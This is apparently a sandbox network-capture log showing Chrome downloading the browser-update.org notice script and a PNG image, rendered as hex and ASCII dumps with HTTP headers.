2024-10-07 12:10:21 UTC	1369	IN	Data Raw: 7c 7c 28 6e 2e 6c 61 6e 67 75 61 67 65 73 3f 6e 2e 6c 61 6e 67 75 61 67 65 73 5b 30 5d 3a 6e 75 6c 6c 29 7c 7c 6e 2e 6c 61 6e 67 75 61 67 65 7c 7c 6e 2e 62 72 6f 77 73 65 72 4c 61 6e 67 75 61 67 65 7c 7c 6e 2e 75 73 65 72 4c 61 6e 67 75 61 67 65 7c 7c 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 6c 61 6e 67 22 29 7c 7c 22 65 6e 22 3b 6f 70 2e 6c 6c 66 75 6c 6c 3d 6c 6c 2e 72 65 70 6c 61 63 65 28 22 5f 22 2c 22 2d 22 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2e 73 75 62 73 74 72 28 30 2c 35 29 3b 6f 70 2e 6c 6c 3d 6f 70 2e 6c 6c 66 75 6c 6c 2e 73 75 62 73 74 72 28 30 2c 32 29 3b 6f 70 2e 64 6f 6d 61 69 6e 3d 6f 70 2e 64 6f 6d 61 69 6e 21 3d 3d 75 6e 64 65 66 69 6e 65 64 3f 6f 70 2e Data Ascii: \|\|(n.languages?n.languages[0]:null)\|\|n.language\|\|n.browserLanguage\|\|n.userLanguage\|\|document.documentElement.getAttribute("lang")\|\|"en";op.llfull=ll.replace("_","-").toLowerCase().substr(0,5);op.ll=op.llfull.substr(0,2);op.domain=op.domain!==undefined?op.
2024-10-07 12:10:21 UTC	1369	IN	Data Raw: 3d 6f 70 2e 6f 6e 73 68 6f 77 7c 7c 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 7d 3b 6f 70 2e 6f 6e 63 6c 69 63 6b 3d 6f 70 2e 6f 6e 63 6c 69 63 6b 7c 7c 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 7d 3b 6f 70 2e 6f 6e 63 6c 6f 73 65 3d 6f 70 2e 6f 6e 63 6c 6f 73 65 7c 7c 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 7d 3b 6f 70 2e 70 61 67 65 75 72 6c 3d 6f 70 2e 70 61 67 65 75 72 6c 7c 7c 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 7c 7c 22 78 22 3b 6f 70 2e 6e 65 77 77 69 6e 64 6f 77 3d 28 6f 70 2e 6e 65 77 77 69 6e 64 6f 77 21 3d 3d 66 61 6c 73 65 29 3b 6f 70 2e 74 65 73 74 3d 74 65 73 74 7c 7c 6f 70 2e 74 65 73 74 7c 7c 28 6c 6f 63 61 74 69 6f 6e 2e 68 61 73 68 3d 3d 3d 22 23 74 65 73 74 2d 62 75 22 29 7c 7c 66 61 6c 73 65 3b 6f 70 2e 69 67 6e 6f 72 65 63 6f 6f 6b 69 Data Ascii: =op.onshow\|\|function(o){};op.onclick=op.onclick\|\|function(o){};op.onclose=op.onclose\|\|function(o){};op.pageurl=op.pageurl\|\|location.hostname\|\|"x";op.newwindow=(op.newwindow!==false);op.test=test\|\|op.test\|\|(location.hash==="#test-bu")\|\|false;op.ignorecooki
2024-10-07 12:10:21 UTC	526	IN	Data Raw: 6f 70 2e 61 6c 72 65 61 64 79 5f 73 68 6f 77 6e 29 29 72 65 74 75 72 6e 3b 6f 70 2e 73 65 74 43 6f 6f 6b 69 65 3d 66 75 6e 63 74 69 6f 6e 28 68 6f 75 72 73 29 7b 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 3d 27 62 72 6f 77 73 65 72 75 70 64 61 74 65 6f 72 67 3d 70 61 75 73 65 3b 20 65 78 70 69 72 65 73 3d 27 2b 6e 65 77 20 44 61 74 65 28 6e 65 77 20 44 61 74 65 28 29 2e 67 65 74 54 69 6d 65 28 29 2b 33 36 30 30 30 30 30 2a 68 6f 75 72 73 29 2e 74 6f 47 4d 54 53 74 72 69 6e 67 28 29 2b 27 3b 20 70 61 74 68 3d 2f 3b 20 53 61 6d 65 53 69 74 65 3d 4c 61 78 27 2b 28 2f 68 74 74 70 73 3a 2f 2e 74 65 73 74 28 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 3f 27 3b 20 53 65 63 75 72 65 27 3a 27 27 29 3b 7d 3b 69 66 28 6f 70 2e 61 6c 72 65 61 64 79 5f 73 68 6f 77 6e Data Ascii: op.already_shown))return;op.setCookie=function(hours){document.cookie='browserupdateorg=pause; expires='+new Date(new Date().getTime()+3600000*hours).toGMTString()+'; path=/; SameSite=Lax'+(/https:/.test(location.href)?'; Secure':'');};if(op.already_shown

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.5	49808	172.67.69.206	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:21 UTC	360	OUT	GET /update.show.min.js HTTP/1.1 Host: browser-update.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 12:10:21 UTC	761	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:21 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 21886 Connection: close Cache-Control: max-age=86400 content-disposition: inline; filename=update.show.min.js expires: Sun, 06 Oct 2024 10:56:46 GMT last-modified: Sun, 29 Sep 2024 17:05:40 GMT CF-Cache-Status: HIT Age: 177215 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=voPIhGU6ZvV5HobpNC2Afdi1Cn68QIouKaoatWTEcF9Vw4f5LBXMkqIqGABlNaq%2BNX6QHfcuAzDHM6lefd4c9aBGYHcOgo15WcVOkF8q8ICuRjo%2BJ4EwE5pzGkGLoQ7vPn7HtA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cedc99bf9b88c11-EWR
2024-10-07 12:10:21 UTC	608	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 24 62 75 6f 5f 73 68 6f 77 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6f 70 3d 77 69 6e 64 6f 77 2e 5f 62 75 6f 72 67 72 65 73 3b 76 61 72 20 62 62 3d 24 62 75 5f 67 65 74 42 72 6f 77 73 65 72 28 29 3b 76 61 72 20 62 75 72 6c 3d 6f 70 2e 62 75 72 6c 7c 7c 28 22 68 74 74 70 22 2b 28 2f 4d 53 49 45 2f 69 2e 74 65 73 74 28 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 29 3f 22 22 3a 22 73 22 29 2b 22 3a 2f 2f 62 72 6f 77 73 65 72 2d 75 70 64 61 74 65 2e 6f 72 67 2f 22 29 3b 69 66 28 21 6f 70 2e 75 72 6c 29 6f 70 2e 75 72 6c 3d 62 75 72 6c 2b 28 28 6f 70 2e 6c 26 26 28 6f 70 2e 6c 2b 22 2f 22 29 29 7c 7c 22 22 29 2b 22 75 70 64 61 74 65 2d 62 72 6f 77 73 65 72 2e 68 74 6d 6c 22 2b 28 6f 70 2e Data Ascii: "use strict";var $buo_show=function(){var op=window._buorgres;var bb=$bu_getBrowser();var burl=op.burl\|\|("http"+(/MSIE/i.test(navigator.userAgent)?"":"s")+"://browser-update.org/");if(!op.url)op.url=burl+((op.l&&(op.l+"/"))\|\|"")+"update-browser.html"+(op.
2024-10-07 12:10:21 UTC	1369	IN	Data Raw: 74 65 2e 27 2c 27 6d 73 67 6d 6f 72 65 27 3a 27 55 70 64 61 74 65 20 79 6f 75 72 20 62 72 6f 77 73 65 72 20 66 6f 72 20 6d 6f 72 65 20 73 65 63 75 72 69 74 79 2c 20 73 70 65 65 64 20 61 6e 64 20 74 68 65 20 62 65 73 74 20 65 78 70 65 72 69 65 6e 63 65 20 6f 6e 20 74 68 69 73 20 73 69 74 65 2e 27 2c 27 62 75 70 64 61 74 65 27 3a 27 55 70 64 61 74 65 20 62 72 6f 77 73 65 72 27 2c 27 62 69 67 6e 6f 72 65 27 3a 27 49 67 6e 6f 72 65 27 2c 27 72 65 6d 69 6e 64 27 3a 27 59 6f 75 20 77 69 6c 6c 20 62 65 20 72 65 6d 69 6e 64 65 64 20 69 6e 20 7b 64 61 79 73 7d 20 64 61 79 73 2e 27 2c 27 62 6e 65 76 65 72 27 3a 27 4e 65 76 65 72 20 73 68 6f 77 20 61 67 61 69 6e 27 2c 27 69 6e 73 65 63 75 72 65 27 3a 27 59 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 28 7b 62 72 Data Ascii: te.','msgmore':'Update your browser for more security, speed and the best experience on this site.','bupdate':'Update browser','bignore':'Ignore','remind':'You will be reminded in {days} days.','bnever':'Never show again','insecure':'Your web browser ({br
2024-10-07 12:10:21 UTC	1369	IN	Data Raw: 74 20 69 20 75 6e 61 20 6d 69 6c 6c 6f 72 20 65 78 70 65 72 69 c3 a8 6e 63 69 61 20 65 6e 20 61 71 75 65 73 74 20 6c 6c 6f 63 2e 27 2c 27 62 75 70 64 61 74 65 27 3a 27 41 63 74 75 61 6c 69 74 7a 61 20 65 6c 20 6e 61 76 65 67 61 64 6f 72 27 2c 27 62 69 67 6e 6f 72 65 27 3a 27 49 67 6e 6f 72 61 72 27 2c 27 72 65 6d 69 6e 64 27 3a 27 54 5c 27 68 6f 20 72 65 63 6f 72 64 61 72 65 6d 20 64 5c 27 61 71 75 c3 ad 20 61 20 7b 64 61 79 73 7d 20 64 69 65 73 2e 27 2c 27 62 6e 65 76 65 72 27 3a 27 4e 6f 20 68 6f 20 74 6f 72 6e 69 73 20 61 20 6d 6f 73 74 72 61 72 27 7d 3b 74 2e 63 73 3d 7b 27 6d 73 67 27 3a 27 56 c3 a1 c5 a1 20 70 72 6f 68 6c c3 ad c5 be 65 c4 8d 20 28 7b 62 72 6f 77 5f 6e 61 6d 65 7d 29 20 6a 65 20 7a 61 73 74 61 72 61 6c c3 bd 2e 27 2c 27 6d 73 67 6d Data Ascii: t i una millor experincia en aquest lloc.','bupdate':'Actualitza el navegador','bignore':'Ignorar','remind':'T\'ho recordarem d\'aqu a {days} dies.','bnever':'No ho tornis a mostrar'};t.cs={'msg':'V prohle ({brow_name}) je zastaral.','msgm
2024-10-07 12:10:21 UTC	1369	IN	Data Raw: 20 54 61 67 65 6e 20 77 69 65 64 65 72 20 65 72 69 6e 6e 65 72 74 2e 27 2c 27 62 6e 65 76 65 72 27 3a 27 4e 69 65 20 77 69 65 64 65 72 20 61 6e 7a 65 69 67 65 6e 27 2c 27 69 6e 73 65 63 75 72 65 27 3a 27 49 68 72 20 57 65 62 62 72 6f 77 73 65 72 20 28 7b 62 72 6f 77 5f 6e 61 6d 65 7d 29 20 68 61 74 20 65 69 6e 65 20 65 72 6e 73 74 68 61 66 74 65 20 53 69 63 68 65 72 68 65 69 74 73 6c c3 bc 63 6b 65 21 27 7d 3b 74 2e 65 6c 3d 7b 27 6d 73 67 27 3a 27 ce a4 ce bf 20 cf 80 cf 81 cf 8c ce b3 cf 81 ce b1 ce bc ce bc ce b1 20 cf 80 ce b5 cf 81 ce b9 ce ae ce b3 ce b7 cf 83 ce ae cf 82 20 cf 83 ce b1 cf 82 20 28 7b 62 72 6f 77 5f 6e 61 6d 65 7d 29 20 ce b5 ce af ce bd ce b1 ce b9 20 ce b1 cf 80 ce b1 cf 81 cf 87 ce b1 ce b9 cf 89 ce bc ce ad ce bd ce bf 2e 27 2c Data Ascii: Tagen wieder erinnert.','bnever':'Nie wieder anzeigen','insecure':'Ihr Webbrowser ({brow_name}) hat eine ernsthafte Sicherheitslcke!'};t.el={'msg':' ({brow_name}) .',
2024-10-07 12:10:21 UTC	1369	IN	Data Raw: 3d 7b 27 6d 73 67 27 3a 27 d9 85 d8 b1 d9 88 d8 b1 da af d8 b1 20 d8 b4 d9 85 d8 a7 20 28 7b 62 72 6f 77 5f 6e 61 6d 65 7d 29 20 d9 82 d8 af db 8c d9 85 db 8c 20 d8 a7 d8 b3 d8 aa 2e 27 2c 27 6d 73 67 6d 6f 72 65 27 3a 27 d8 a8 d8 b1 d8 a7 db 8c 20 d8 a7 db 8c d9 85 d9 86 db 8c d8 8c 20 d8 b3 d8 b1 d8 b9 d8 aa 20 d9 88 20 d8 aa d8 ac d8 b1 d8 a8 d9 87 20 d8 a8 d9 87 d8 aa d8 b1 20 d9 85 d8 b1 d9 88 d8 b1 da af d8 b1 20 d8 ae d9 88 d8 af 20 d8 b1 d8 a7 20 d8 a8 d9 87 e2 80 8c d8 b1 d9 88 d8 b2 20 da a9 d9 86 db 8c d8 af 2e 27 2c 27 62 75 70 64 61 74 65 27 3a 27 d8 a8 d9 87 e2 80 8c d8 b1 d9 88 d8 b2 d8 b1 d8 b3 d8 a7 d9 86 db 8c 20 d9 85 d8 b1 d9 88 d8 b1 da af d8 b1 27 2c 27 62 69 67 6e 6f 72 65 27 3a 27 d9 86 d8 a7 d8 af db 8c d8 af d9 87 20 da af d8 b1 Data Ascii: ={'msg':' ({brow_name}) .','msgmore':' .','bupdate':' ','bignore':'
2024-10-07 12:10:21 UTC	1369	IN	Data Raw: 65 3d 7b 27 6d 73 67 27 3a 27 d7 93 d7 a4 d7 93 d7 a4 d7 9f 20 28 7b 62 72 6f 77 5f 6e 61 6d 65 7d 29 20 d7 a9 d7 9c d7 9a 20 d7 90 d7 99 d7 a0 d7 95 20 d7 9e d7 a2 d7 95 d7 93 d7 9b d7 9f 2e 27 2c 27 6d 73 67 6d 6f 72 65 27 3a 27 d7 a2 d7 93 d7 9b d7 9f 2f d7 99 20 d7 90 d7 aa 20 d7 94 d7 93 d7 a4 d7 93 d7 a4 d7 9f 20 d7 a9 d7 9c d7 9a 20 d7 9c d7 a9 d7 99 d7 a4 d7 95 d7 a8 20 d7 94 d7 90 d7 91 d7 98 d7 97 d7 94 20 d7 95 d7 94 d7 9e d7 94 d7 99 d7 a8 d7 95 d7 aa 20 d7 95 d7 9b d7 93 d7 99 20 d7 9c d7 99 d7 94 d7 a0 d7 95 d7 aa 20 d7 9e d7 94 d7 97 d7 95 d7 95 d7 99 d7 94 20 d7 94 d7 98 d7 95 d7 91 d7 94 20 d7 91 d7 99 d7 95 d7 aa d7 a8 20 d7 91 d7 90 d7 aa d7 a8 20 d7 96 d7 94 2e 27 2c 27 62 75 70 64 61 74 65 27 3a 27 d7 a2 d7 93 d7 9b d7 9f 20 d7 93 d7 Data Ascii: e={'msg':' ({brow_name}) .','msgmore':'/ .','bupdate':'
2024-10-07 12:10:21 UTC	1369	IN	Data Raw: 2c 27 6d 73 67 6d 6f 72 65 27 3a 27 50 65 72 62 61 72 75 69 20 70 65 72 61 6d 62 61 6e 20 41 6e 64 61 20 75 6e 74 75 6b 20 70 65 6e 67 61 6c 61 6d 61 6e 20 74 65 72 62 61 69 6b 2c 20 6c 65 62 69 68 20 61 6d 61 6e 2c 20 64 61 6e 20 63 65 70 61 74 20 64 69 20 73 69 74 75 73 20 69 6e 69 2e 27 2c 27 62 75 70 64 61 74 65 27 3a 27 50 65 72 62 61 72 75 69 20 70 65 72 61 6d 62 61 6e 27 2c 27 62 69 67 6e 6f 72 65 27 3a 27 41 62 61 69 6b 61 6e 27 2c 27 72 65 6d 69 6e 64 27 3a 27 41 6e 64 61 20 61 6b 61 6e 20 64 69 69 6e 67 61 74 6b 61 6e 20 6b 65 6d 62 61 6c 69 20 64 61 6c 61 6d 20 7b 64 61 79 73 7d 20 68 61 72 69 2e 27 2c 27 62 6e 65 76 65 72 27 3a 27 4a 61 6e 67 61 6e 20 70 65 72 6e 61 68 20 74 61 6d 70 69 6c 6b 61 6e 20 6c 61 67 69 27 7d 3b 74 2e 69 74 3d 7b 27 Data Ascii: ,'msgmore':'Perbarui peramban Anda untuk pengalaman terbaik, lebih aman, dan cepat di situs ini.','bupdate':'Perbarui peramban','bignore':'Abaikan','remind':'Anda akan diingatkan kembali dalam {days} hari.','bnever':'Jangan pernah tampilkan lagi'};t.it={'
2024-10-07 12:10:21 UTC	1369	IN	Data Raw: 97 20 28 7b 62 72 6f 77 5f 6e 61 6d 65 7d 29 20 79 72 61 20 70 61 73 65 6e 75 73 69 2e 27 2c 27 6d 73 67 6d 6f 72 65 27 3a 27 41 74 73 69 6e 61 75 6a 69 6e 6b 69 74 65 20 73 61 76 6f 20 6e 61 72 c5 a1 79 6b 6c c4 99 20 6e 6f 72 c4 97 64 61 6d 69 20 67 61 75 74 69 20 64 61 75 67 69 61 75 20 73 61 75 67 75 6d 6f 2c 20 67 72 65 69 c4 8d 69 6f 20 69 72 20 70 61 c4 8d 69 c5 b3 20 67 65 72 69 61 75 73 69 c5 b3 20 70 61 74 69 72 c4 8d 69 c5 b3 20 c5 a1 69 6f 6a 65 20 73 76 65 74 61 69 6e c4 97 6a 65 2e 27 2c 27 62 75 70 64 61 74 65 27 3a 27 41 74 6e 61 75 6a 69 6e 74 69 20 6e 61 72 c5 a1 79 6b 6c c4 99 27 2c 27 62 69 67 6e 6f 72 65 27 3a 27 4e 65 70 61 69 73 79 74 69 27 2c 27 72 65 6d 69 6e 64 27 3a 27 4a 75 6d 73 20 62 75 73 20 70 72 69 6d 69 6e 74 61 20 70 6f Data Ascii: ({brow_name}) yra pasenusi.','msgmore':'Atsinaujinkite savo narykl nordami gauti daugiau saugumo, greiio ir pai geriausi patiri ioje svetainje.','bupdate':'Atnaujinti narykl','bignore':'Nepaisyti','remind':'Jums bus priminta po
2024-10-07 12:10:21 UTC	1369	IN	Data Raw: 65 72 68 65 74 2c 20 68 61 73 74 69 67 68 65 74 20 6f 67 20 64 65 6e 20 62 65 73 74 65 20 6f 70 70 6c 65 76 65 6c 73 65 6e 20 70 c3 a5 20 64 65 74 74 65 20 6e 65 74 74 73 74 65 64 65 74 2e 27 2c 27 62 75 70 64 61 74 65 27 3a 27 4f 70 70 64 61 74 65 72 20 6e 65 74 74 6c 65 73 65 72 27 2c 27 62 69 67 6e 6f 72 65 27 3a 27 49 67 6e 6f 72 65 72 27 2c 27 72 65 6d 69 6e 64 27 3a 27 44 75 20 76 69 6c 20 66 c3 a5 20 65 6e 20 70 c3 a5 6d 69 6e 6e 65 6c 73 65 20 6f 6d 20 7b 64 61 79 73 7d 20 64 61 67 65 72 2e 27 2c 27 62 6e 65 76 65 72 27 3a 27 41 6c 64 72 69 20 76 69 73 20 69 67 6a 65 6e 27 7d 3b 74 2e 70 6c 3d 7b 27 6d 73 67 27 3a 27 54 77 6f 6a 61 20 70 72 7a 65 67 6c c4 85 64 61 72 6b 61 20 28 7b 62 72 6f 77 5f 6e 61 6d 65 7d 29 20 6a 65 73 74 20 6e 69 65 61 6b Data Ascii: erhet, hastighet og den beste opplevelsen p dette nettstedet.','bupdate':'Oppdater nettleser','bignore':'Ignorer','remind':'Du vil f en pminnelse om {days} dager.','bnever':'Aldri vis igjen'};t.pl={'msg':'Twoja przegldarka ({brow_name}) jest nieak
2024-10-07 12:10:21 UTC	1369	IN	Data Raw: bf d0 be d0 bb d1 8c d0 b7 d0 be d0 b2 d0 b0 d0 bd d0 b8 d1 8f 20 d1 8d d1 82 d0 be d0 b3 d0 be 20 d1 81 d0 b0 d0 b9 d1 82 d0 b0 2e 27 2c 27 62 75 70 64 61 74 65 27 3a 27 d0 9e d0 b1 d0 bd d0 be d0 b2 d0 b8 d1 82 d1 8c 20 d0 b1 d1 80 d0 b0 d1 83 d0 b7 d0 b5 d1 80 27 2c 27 62 69 67 6e 6f 72 65 27 3a 27 d0 98 d0 b3 d0 bd d0 be d1 80 d0 b8 d1 80 d0 be d0 b2 d0 b0 d1 82 d1 8c 27 2c 27 72 65 6d 69 6e 64 27 3a 27 d0 92 d1 8b 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b8 d1 82 d0 b5 20 d0 bd d0 b0 d0 bf d0 be d0 bc d0 b8 d0 bd d0 b0 d0 bd d0 b8 d0 b5 20 d1 87 d0 b5 d1 80 d0 b5 d0 b7 20 7b 64 61 79 73 7d 20 d0 b4 d0 bd d0 b5 d0 b9 2e 27 2c 27 62 6e 65 76 65 72 27 3a 27 d0 91 d0 be d0 bb d1 8c d1 88 d0 b5 20 d0 bd d0 b5 20 d0 bf d0 be d0 ba d0 b0 d0 b7 d1 8b d0 b2 d0 b0 Data Ascii: .','bupdate':' ','bignore':'','remind':' {days} .','bnever':'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.5	49807	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:21 UTC	570	OUT	GET /2016/wp-content/uploads/2015/08/FSW-machine-landing-pg-option-3.png HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; _ga_E694J4CV2M=GS1.2.1728303016.1.0.1728303016.0.0.0; browserupdateorg=pause
2024-10-07 12:10:21 UTC	235	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:21 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Mon, 12 Feb 2018 15:38:01 GMT Accept-Ranges: bytes Content-Length: 4140692 Content-Type: image/png
2024-10-07 12:10:21 UTC	7957	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 07 80 00 00 04 38 08 06 00 00 00 e8 d3 c1 43 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 ff a5 49 44 41 54 78 5e b4 fd 69 48 5d d9 da f7 8d de a9 bd 0b aa 52 95 10 12 8c a2 88 8a 0d a8 b8 d6 42 50 51 14 11 15 45 41 45 51 41 d6 62 b9 16 b8 d4 85 62 83 0d 2a 76 88 3d d8 24 24 a4 21 0d 09 a9 34 90 a6 92 22 a9 84 84 f4 c4 74 a4 93 24 a6 af aa 5d b5 ab 76 ed 5d cf fd be f7 fb 1c ce 79 df 0f ff 73 fd af e9 58 59 49 65 df cf 79 3e 9c 0f 7f c6 98 63 f6 63 8e 39 e6 18 f3 37 ae 6b fc 47 45 69 0a 4a 8a 12 51 98 17 8b fc 9c 68 14 e4 c6 e8 72 59 a9 1d 55 95 e9 28 2f 4b 47 71 91 0d 99 59 f1 70 a4 46 21 2e Data Ascii: PNGIHDR8CsRGBgAMAapHYsodIDATx^iH]RBPQEAEQAbb*v=$$!4"t$]v]ysXYIey>cc97kGEiJQhrYU(/KGqYpF!.
2024-10-07 12:10:21 UTC	8000	IN	Data Raw: 57 23 52 5f 0d e2 d5 8b 51 bc 7d 31 26 ef e3 6a b8 32 8c b7 cf 87 14 00 bf 79 2a ef 6e 30 00 96 fa c2 02 9a 9f 00 c0 8f 9a 02 fa 14 00 7e f2 a0 09 f7 ef 70 30 4d a3 d4 a3 7e 6b 70 c9 a3 b6 0f f5 50 ea 1d d6 c9 ab 10 98 e0 f7 f5 72 c7 aa e4 1a e4 5a 56 1e 75 4a 7d ee c7 fd 5b 8d b8 77 b3 09 4b d7 9b 70 eb 5a a3 c2 60 05 c2 d7 fd b8 75 b5 05 b7 24 bc 7e ad 59 75 e3 86 6c 27 eb ee dd 6e c5 f2 a3 9e 55 f8 db 85 a7 0f da f0 ec 91 d4 dd 4f e4 be 9e 4a 9d f8 8c 83 5b a4 be 24 10 26 00 96 73 12 fe be 15 bd 7a dc 86 57 72 9f d4 9b e5 36 51 0b de 3d 63 d8 ac 7a 2d 7a f5 a4 49 43 ae fb 58 6f 9f fa 65 5d a3 6c e3 53 31 ce fd 7e 90 3a f1 87 e7 72 de c7 52 47 3f 90 6b bb dd 8b 27 37 fb 70 fb 52 37 ae 9e 6e c7 b7 df 34 e1 d8 de 46 05 c1 07 b7 35 62 d7 6c 3d b6 4f b8 30 Data Ascii: W#R_Q}1&j2y*n0~p0M~kpPrZVuJ}[wKpZ`u$~Yul'nUOJ[$&szWr6Q=cz-zICXoe]lS1~:rRG?k'7pR7n4F5bl=O0
2024-10-07 12:10:21 UTC	8000	IN	Data Raw: f0 f8 6a b6 82 60 5a 03 2f 5f 4b c3 d3 1b a9 12 26 e1 c9 d5 38 3c ba 18 89 fb df 87 e0 e9 b5 48 bc 5c 8a c7 eb bb b4 fa 4d c6 3b b5 fe b5 60 aa ea 7e 2c 68 a1 ab f0 97 90 77 d5 ba d7 82 b9 b1 7f 12 ad 6b 3f 25 0b ba 5a 71 5a e1 72 99 00 98 c7 b4 2c 80 63 56 01 f0 87 00 97 d6 bb 8c 73 5d c0 ca 57 ae 8b f0 97 fb 31 34 30 58 21 f5 ea be 6a f5 bb 14 2a d7 49 00 6c c1 5f 03 80 ad eb e0 f5 d2 6d 32 af c3 92 b9 4e 6e 13 00 c5 ab fb e9 b5 ae de 7b 40 0a 80 25 14 19 0b df 8f 97 5f 3f 4c 94 90 56 bf 92 c7 12 37 7a 71 3f 0e 2b f7 24 9f 1f d8 f0 fa 7e 0a 5e dd 4b c6 cb bb 92 7e 27 41 af eb 4f 16 c0 ab 10 f8 a9 3c 2b 03 83 55 41 70 f7 03 00 1c 0c 7c 83 b6 09 86 bf 5c 26 fc fd 77 00 98 16 be 4f 3f 01 80 4d 1a e1 f9 f2 8d 28 3c be 12 8d 07 17 a9 58 51 bc 82 60 42 60 5a Data Ascii: j`Z/_K&8<H\M;`~,hwk?%ZqZr,cVs]W140X!j*Il_m2Nn{@%_?LV7zq?+$~^K~'AO<+UAp\|\&wO?M(<XQ`B`Z
2024-10-07 12:10:21 UTC	8000	IN	Data Raw: fb dc 8e b9 5d f3 e0 9c e7 f4 02 41 00 1c 97 9e 88 78 e9 0f 50 89 d2 37 88 95 7e 41 74 ba b4 ed 24 4c c8 4e d2 1f 1c fc 61 93 5d 28 df be b2 38 9d de c4 e7 4a 40 8b 74 cc fc ce 75 d2 b9 0b c5 fe 79 69 f3 ec ce 0e 00 e0 ef 76 a5 e3 d0 74 3c 16 fa 42 30 d1 be 41 2d 80 0d 00 e6 60 28 5a 00 27 24 ad d7 51 c7 71 49 f1 da de dc 1c 9b 84 4d ab 16 c0 66 b4 34 3b cf c1 23 aa 3f 06 c0 a6 a3 1d dc 09 37 22 c8 35 80 38 38 fe 71 a7 9d b0 d7 58 f6 7e 1c 7e 1d 67 cd 21 4c d8 cb 11 e3 a1 29 4c 7f 0f 80 d7 c7 70 2e 29 8e 08 cf 42 48 3c ad 81 b3 25 6e cd 17 45 ef 39 6c 33 eb 08 ff c4 cd ea a2 6e f7 ee 3e 3c b8 7f 00 2f 57 8e 62 f9 c9 0e ac 3c df 29 e1 24 5e bf 98 c1 ca b3 11 bc 78 d6 fb 27 00 6c dc 1f 07 c3 5f 23 c2 de 00 04 5e d5 07 00 98 fa 37 10 38 18 74 1a 00 6a f4 f1 Data Ascii: ]AxP7~At$LNa](8J@tuyivt<B0A-`(Z'$QqIMf4;#?7"588qX~~g!L)Lp.)BH<%nE9l3n></Wb<)$^x'l_#^78tj
2024-10-07 12:10:21 UTC	8000	IN	Data Raw: 91 5d 99 38 b6 33 4d a7 25 d8 bf cd 86 f9 a9 18 b4 b6 7e 8e ea ba 35 28 ad 5e 83 ec 92 cf 3e 00 c0 a9 e5 29 1f 01 e0 32 75 27 4c a0 d9 d4 d9 a0 1d 5d ce 2b 5e db 54 23 df f2 3f 03 60 86 26 7f 0c f4 a5 4c dc e4 3d 97 cd f3 60 9c 69 5c 47 30 4c eb e0 e0 7d 99 ce 6d f9 0c cd b3 64 9e 32 af 18 32 ef 08 7b 4d 68 20 3c 65 f2 99 62 ba 01 c0 c1 cf ca ac a7 b8 8e c7 e4 3a 73 3e 5e 23 cb 0a e3 2c 2b 8c f3 7a b8 1c 0c 80 29 ae 23 00 a6 f5 b6 b1 ee 35 f3 46 7d 0c 80 f9 7c cd 36 04 c0 fc 61 67 00 b0 5a f7 3a 38 c2 34 56 43 03 83 8d f5 2f 3b 1c ec 94 44 24 72 9a 8f 58 a4 17 e6 c8 f1 a4 f3 b6 6b 11 43 73 23 28 ab af 90 ed 09 8a c3 a5 4d 19 8e 08 f9 86 12 f8 1a 00 cc e5 a8 54 9e 83 2e a7 c3 91 94 1a ae 03 df d8 79 6a f6 d8 d5 9b 05 a7 26 e0 7c 3e 7b a6 53 71 72 57 8e 7c Data Ascii: ]83M%~5(^>)2u'L]+^T#?`&L=`i\G0L}md22{Mh <eb:s>^#,+z)#5F}\|6agZ:84VC/;D$rXkCs#(MT.yj&\|>{SqrW\|
